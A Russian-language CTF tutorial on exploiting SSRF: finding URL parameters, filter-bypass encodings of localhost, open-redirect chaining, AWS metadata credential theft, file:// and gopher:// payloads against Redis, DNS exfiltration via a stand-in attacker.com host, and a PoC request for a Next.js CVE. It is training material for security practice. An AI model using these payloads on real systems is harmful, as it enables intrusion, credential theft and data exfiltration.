
Три команды на CTF-площадке видят одинаковый web-таск на 300 очков: форма загрузки изображения по URL. Все находят параметр url=, все подставляют http://localhost/flag — все получают 403. Фильтр на строку «localhost». Четыре часа без подвижек. Решает таск одна команда: http://0x7f000001/internal/flag — hex-представление 127.0.0.1, которое фильтр не парсил. Разница между тем, кто понимает механику SSRF, и тем, кто знает одну команду — именно эти четыре часа.
Веб-приложения постоянно ходят за данными на другие серверы: скачивают превью по ссылке, проверяют наличие товара через внутренний API, генерируют PDF из пользовательского HTML. Server-Side Request Forgery (CWE-918 по классификации MITRE) возникает, когда приложение принимает URL от пользователя и обращается по нему без проверки назначения. По определению OWASP A10:2021, SSRF-уязвимости появляются «whenever a web application is fetching a remote resource without validating the user-supplied URL». Примечательный факт: SSRF — единственная категория, добавленная в OWASP Top 10 2021 по результатам community survey, а не на основе данных CVE. Сообщество признало угрозу раньше, чем статистика — и это о многом говорит.
По классификации MITRE CWE-918, последствия эксплуатации бьют по трём направлениям: чтение данных приложения (Confidentiality), выполнение несанкционированных команд (Integrity) и обход механизмов защиты (Access Control). На CTF-языке: через одну SSRF-дыру можно прочитать файл с флагом, достучаться до админ-панели без аутентификации или утянуть IAM-креды облачного инстанса.
Зачем это злоумышленнику за пределами CTF? SSRF превращает уязвимый сервер в прокси для атак на внутреннюю инфраструктуру. Один запрос к metadata-эндпоинту AWS — и у атакующего ключи от всего облачного аккаунта. Так что SSRF в CTF — не абстрактное упражнение, а тренировка навыка, который напрямую транслируется на пентесты реальных систем.
В терминах ATT&CK эксплуатация SSRF развивается по предсказуемому сценарию:
127.0.0.1 и адреса во внутренних подсетях. По разным HTTP-ответам (200, 403, 500, таймаут) определяем открытые сервисы.192.168.x.x, 10.x.x.x, 172.16.x.x, составляя карту внутренней сети.http://169.254.169.254/ и забираем IAM-токены.file:// читаем локальные файлы: конфиги, SSH-ключи, флаги.В CTF обычно хватает первых двух-трёх шагов. В реальных пентестах цепочка длиннее.
Первое действие — включить Burp Proxy и пройти все страницы приложения. Параметры вида url=, target=, page=, feed=, src=, dest=, redirect=, uri=, callback= — потенциальные точки входа. Далеко не все из них видны в браузере: параметр может прятаться в JSON-теле POST-запроса.
Проверка проста: подставить URL контролируемого сервера — Burp Collaborator или interactsh от ProjectDiscovery (бесплатная альтернатива с открытым кодом). Пришёл callback — SSRF подтверждена. Burp Suite для SSRF-разведки незаменим именно потому, что показывает запросы, невидимые в DevTools.
HTTP-заголовки тоже стоит пощупать. Host, X-Forwarded-For, X-Forwarded-Host, Referer иногда используются приложением для построения внутренних URL. По данным PortSwigger, SSRF через заголовок Referer возникает, когда серверная аналитика обращается по указанному URL для сбора статистики. Расширение Collaborator Everywhere для Burp Suite автоматически внедряет payload-заголовки во все запросы и фиксирует out-of-band взаимодействие — удобная штука, экономит кучу ручной работы.
Если приложение генерирует PDF из пользовательского ввода — счёт, визитка, резюме — HTML-инъекция через <iframe src="http://127.0.0.1/flag"> может превратиться в полноценную SSRF. Движки типа wkhtmltopdf, Puppeteer, WeasyPrint обрабатывают HTML как браузер: загружают внешние ресурсы, резолвят внутренние адреса.
В CTF это встречается в задачах с «конвертором Markdown в PDF» или «генератором отчётов». Подставить <img src="http://127.0.0.1:8080/secret"> в поле ввода — и если движок не изолирован, содержимое внутреннего сервиса окажется прямо в PDF-файле. URL внутри форматов данных (XML, SVG, HTML-шаблоны) — одна из тех поверхностей атаки, которую легко пропустить, а авторы тасков этим пользуются.
Самый прямолинейный сценарий — обращение к 127.0.0.1. Внутренние сервисы часто слушают на loopback-интерфейсе и доверяют запросам с этого адреса без аутентификации.
Почему так происходит: - контроль доступа реализован на уровне reverse proxy, а не самого приложения — запрос с localhost обходит проверку; - для disaster recovery оставлен административный доступ без логина с localhost (классика — «потом уберём»); - админ-интерфейс слушает на отдельном порту, недоступном напрямую из внешней сети.
Что проверять при эксплуатации SSRF на практике:
- http://127.0.0.1/ и http://localhost/ — корень веб-сервера
- /admin, /flag, /flag.txt, /secret, /internal/api — типичные CTF-эндпоинты
- Порты :8080, :3000, :5000, :6379, :9200, :27017 — Jenkins, Express, Flask, Redis, Elasticsearch, MongoDB
Порт-сканирование через SSRF работает даже когда содержимое ответа не возвращается. Разные HTTP-коды или разница во времени ответа позволяют определить открытые порты — это Network Service Discovery (T1046). В Burp Intruder задаёте список портов как payload и сортируете по времени или длине ответа. Помимо localhost пробуйте обращения к хостам во внутренней сети: http://192.168.0.1/, http://10.0.0.1/. CTF-задание может эмулировать несколько хостов, где флаг лежит на смежном сервере.
Если авторы таска заблокировали прямой http://localhost — тут-то и начинается самое интересное. Обход фильтров SSRF требует понимания того, как конкретный парсер обрабатывает URL. А парсеров — зоопарк.
Blacklist-фильтр проверяет строки «localhost» и «127.0.0.1» простым сравнением. Обход — альтернативные записи того же адреса:
| Представление | Пример URL | Почему работает |
|---|---|---|
| Сокращённое | http://127.1 |
Валидная запись IPv4 |
| Hex | http://0x7f000001 |
Парсер не конвертирует hex в IP |
| Decimal | http://2130706433 |
Число = 127.0.0.1 в integer |
| Octal | http://017700000001 |
Восьмеричная нотация |
| IPv6 | http://[::1] |
Loopback в IPv6 |
| Нулевой адрес | http://0 |
На многих системах = 127.0.0.1 |
| Wildcard DNS | http://127.0.0.1.nip.io |
DNS-сервис, резолвящий IP из имени |
Обфускация через URL-encoding тоже работает: %31%32%37%2e%30%2e%30%2e%31 — это 127.0.0.1 после URL-decode. Double-encoding (%2531%2532%2537...) помогает, когда фильтр декодирует URL один раз, а HTTP-клиент — дважды. На практике я обычно прогоняю весь список сверху вниз — какой-нибудь вариант да проскочит.
Whitelist-фильтр разрешает URL только с определённым доменом. URL-спецификация содержит несколько особенностей, которые можно эксплуатировать при обходе валидации:
Credentials через @. URL https://expected-host:fakepass@evil-host — парсер может считать expected-host частью credentials (username:password), а реальный хост — evil-host. В CTF часто работает http://allowed-domain@127.0.0.1/flag.
Фрагмент через #. URL https://evil-host#expected-host — фильтр видит expected-host в строке, но запрос уходит на evil-host. Зависит от реализации: одни парсеры обрезают фрагмент до проверки, другие — после.
DNS-иерархия. https://expected-host.evil-host — required input встроен в FQDN, но DNS резолвит домен на контролируемый IP.
Эти техники комбинируются. http://allowed@127.0.0.1:8080/flag — фильтр видит allowed в начале, HTTP-клиент интерпретирует его как username и обращается к 127.0.0.1. Красота.
Если в приложении есть open redirect — /redirect?url=http://evil.com — его можно использовать для обхода SSRF-фильтра:
https://app.example.comhttps://app.example.com/redirect?url=http://127.0.0.1/flaghttp://127.0.0.1/flagСмена протокола при редиректе (с http: на https:) может обойти anti-SSRF фильтры, которые проверяют протокол только в исходном URL. В CTF-тасках open redirect часто является частью задуманной цепочки — авторы оставляют его специально. Если видите open redirect рядом с SSRF — это не совпадение.
Если CTF-задача развёрнута на AWS EC2 или эмулирует облачную среду, metadata endpoint — главная цель. По адресу http://169.254.169.254/latest/meta-data/ сервер возвращает информацию об инстансе, а по пути /latest/meta-data/iam/security-credentials/ — названия IAM-ролей. Запросив полный путь с именем роли, получаете JSON с AccessKeyId, SecretAccessKey и Token. Это техника Cloud Instance Metadata API (T1552.005 по MITRE ATT&CK).
В Atomic Red Team есть готовый тест для проверки этого вектора: «AWS - Retrieve EC2 IAM Role Credentials via IMDSv2» — shell-скрипт для Linux-инстансов AWS. В CTF полученных ключей достаточно для аутентификации через AWS CLI (aws configure) и доступа к S3-бакетам, DynamoDB или Lambda, где лежит флаг.
Нюанс, о который спотыкаются многие: AWS ввёл IMDSv2, который требует предварительного PUT-запроса с заголовком X-aws-ec2-metadata-token-ttl-seconds для получения session token. Если SSRF-уязвимость позволяет контролировать только URL (без произвольных заголовков и метода), IMDSv2 блокирует атаку. В CTF-задачах часто эмулируется IMDSv1 без этого ограничения — но проверить стоит.
GCP использует другой endpoint: http://metadata.google.internal/computeMetadata/v1/ с обязательным заголовком Metadata-Flavor: Google. Если SSRF позволяет контролировать заголовки — GCP metadata тоже доступен.
Не все SSRF-уязвимости возвращают содержимое ответа. Blind SSRF — ситуация, когда сервер выполняет запрос, но показывает одинаковый результат вне зависимости от того, что вернул внутренний сервис. «Изображение загружено» — и всё. Тишина.
Out-of-band взаимодействие. Подставляете URL контролируемого сервера (interactsh, Burp Collaborator) и проверяете входящие DNS/HTTP-запросы. Callback пришёл — SSRF подтверждена, даже если ответ не виден. Дальше эксфильтрация данных идёт через DNS: вставляете чувствительные данные в поддомен (например, <secret-data>.attacker.com), и DNS-лог фиксирует утечку. Грязно, но работает.
Timing-based обнаружение. Обращение к открытому порту — ответ за 200ms. К закрытому — таймаут 10s. Разница позволяет составить карту открытых портов через Burp Intruder: задаёте список портов как payload в URL и сортируете результаты по времени ответа.
DNS rebinding. Настраиваете DNS-сервер, который при первом запросе резолвит имя в «безопасный» IP, а при повторном — в 127.0.0.1. Фильтр проверяет DNS при валидации, получает разрешённый адрес и пропускает. HTTP-клиент резолвит DNS заново при выполнении запроса и попадает на localhost. Для генерации rebinding-доменов есть сервис lock.cmpxchg8b.com/rebinder.html (по данным SSRF Cheat Sheet от highon.coffee). Минус: IP «прыгает» между двумя значениями — может потребоваться несколько попыток, так что запаситесь терпением.
HTTP — не единственный протокол для SSRF. Если HTTP-клиент на стороне сервера поддерживает другие схемы URL, открываются куда более серьёзные вектора атаки.
file:// — чтение локальных файлов. file:///etc/passwd, file:///proc/self/environ (переменные окружения — иногда там валяются секреты и API-ключи), file:///app/flag.txt. Это техника Data from Local System (T1005). В CTF проверяйте файлы конфигурации приложения: .env, config.py, application.yml.
gopher:// — отправка произвольных TCP-данных. Это, пожалуй, самый мощный SSRF payload, потому что через gopher можно формировать полноценные запросы к Redis, Memcached, MySQL, SMTP. Формат: gopher://127.0.0.1:6379/_<url-encoded-redis-commands>. Инструмент Gopherus генерирует gopher-пейлоады для популярных сервисов, экономя время на ручной URL-encoding TCP-данных.
dict:// — позволяет отправить одну строку на TCP-порт: dict://127.0.0.1:6379/INFO. Менее гибкий, чем gopher, но работает, когда gopher заблокирован.
Доступные URL-схемы зависят от языка (по данным SSRF Cheat Sheet от highon.coffee):
- PHP с cURL: gopher://, dict://, file://, ftp://
- Java: file://, ftp://, jar:// (OpenJDK 8+ не следует за редиректами при смене протокола)
- cURL: поддерживает весь набор схем
В CTF-задачах на gopher:// обычно нужно добраться до Redis, прочитать ключ с флагом командой GET flag или записать веб-шелл через SET. На бумаге формула понятна, но gopher-пейлоад по-настоящему ощущается только когда руками собираешь URL-encoded TCP-поток и видишь, как Redis отвечает через SSRF. Тот самый момент, когда «ну вот оно заработало».
CVE-2025-57822 — SSRF в Next.js до версий 14.2.32 и 15.4.7. По данным NVD: CVSS 6.5 (MEDIUM), вектор CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N. Корневая проблема — CWE-918 (Server-Side Request Forgery). По данным OSV.dev, уязвимость затрагивает пакет next начиная с версии 0.9.9 и исправлена в 14.2.32.
Суть: когда в middleware вызов next() происходит без явной передачи объекта request, пользовательские заголовки пробрасываются на сервер некорректно. Передача заголовка Location в запросе вызывает серверный редирект к произвольному URL. Три строчки в middleware — полноценная SSRF.
Сложность атаки помечена как High (AC:H) — нужна специфическая конфигурация middleware. CISA классифицирует уязвимость как Track (мониторить): эксплуатация none, автоматизация no, технический импакт partial. EPSS = 0.0249 (перцентиль 83.5%) — выше медианы, но не в зоне активной эксплуатации. В CTF авторы задачи гарантируют наличие уязвимой конфигурации, что упрощает дело.
PoC из write-up'ов:
GET /?utm_source=meta HTTP/2
Host: challenge.ctf.example
Location: http://localhost:8080/flag
Middleware обрабатывает UTM-параметр и вызывает next() без передачи request — заголовок Location пробрасывается, сервер выполняет внутренний редирект и возвращает содержимое. Для эскалации: через перебор портов в заголовке Location (с помощью ffuf или Burp Intruder) можно обнаружить внутренние сервисы — Jenkins, Redis, административные API. Nuclei-шаблон для автоматического обнаружения CVE-2025-57822 уже доступен в репозитории ProjectDiscovery.
Этот кейс показывает, почему чтение исходников middleware — обязательный шаг в CTF, а не опциональный. Разработчик напишет next() без аргументов не задумываясь. Пентестер найдёт это за пять минут.
Порядок действий на каждом web-таске с подозрением на SSRF:
Разведка (60 секунд). Burp Proxy включён, пройти все страницы, найти параметры с URL. Проверить JSON-тела POST-запросов — браузер их не покажет.
Подтверждение. Подставить URL interactsh-сервера. Callback пришёл — SSRF есть. Нет — проверить заголовки (Host, X-Forwarded-Host, Referer), PDF-генераторы, XML/SVG-парсеры.
Базовая эксплуатация. http://127.0.0.1/flag.txt, http://localhost/admin. Ответ виден — забрать данные. Не виден — blind-техники.
Обход фильтров. Localhost заблокирован — перебрать hex (0x7f000001), decimal (2130706433), IPv6 ([::1]), сокращённые (127.1), @-трюк, open redirect.
Порт-сканирование. Перебрать порты через Burp Intruder: 80, 3000, 5000, 8080, 6379, 9200, 27017. Сортировать по времени ответа.
Протоколы. file:///etc/passwd, file:///proc/self/environ, file:///app/flag.txt. Если gopher поддерживается — Gopherus для Redis/Memcached.
Cloud metadata. http://169.254.169.254/latest/meta-data/. IAM-ключи → AWS CLI.
Чейнинг. SSRF редко бывает финальной целью. Полученный доступ — трамплин: credentials в конфигах, RCE через внутренний сервис, исходники приложения.
Разница между 200-очковым и 500-очковым SSRF-таском — количество фильтров и глубина чейнинга. Механика одна.
SSRF — уязвимость, которую CTF-авторы обожают за то, что она проверяет не знание конкретного инструмента, а понимание HTTP-стека. Каждый фреймворк добавляет свой парсер URL, свой HTTP-клиент, свои middleware-хуки — и каждый из них может обработать http://0x7f000001 иначе. CVE-2025-57822 в Next.js тому подтверждение: middleware без передачи request-объекта в next() — три строчки, которые разработчик напишет на автопилоте.
Что я наблюдаю на соревнованиях: большинство команд останавливаются на первом 403 при попытке обращения к localhost. «Фильтр сработал — не SSRF.» А на деле фильтр — это подтверждение уязвимости. Разработчик поставил его именно потому, что знает: без фильтра тут дыра. Задача игрока — найти представление URL, которое фильтр не учёл. А их десятки. Какой-нибудь да проскочит.
Ещё одна закономерность: таски с gopher:// и blind SSRF решаются значительно реже стандартных. Не потому что технически сложнее — просто 80% участников не пробуют протоколы за пределами HTTP и не знают про Gopherus. Gopher-пейлоад для Redis — 30 секунд на генерацию, но подавляющее большинство даже не пытается. На WAPT эту цепочку проходят в течение двух модулей с лабами.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...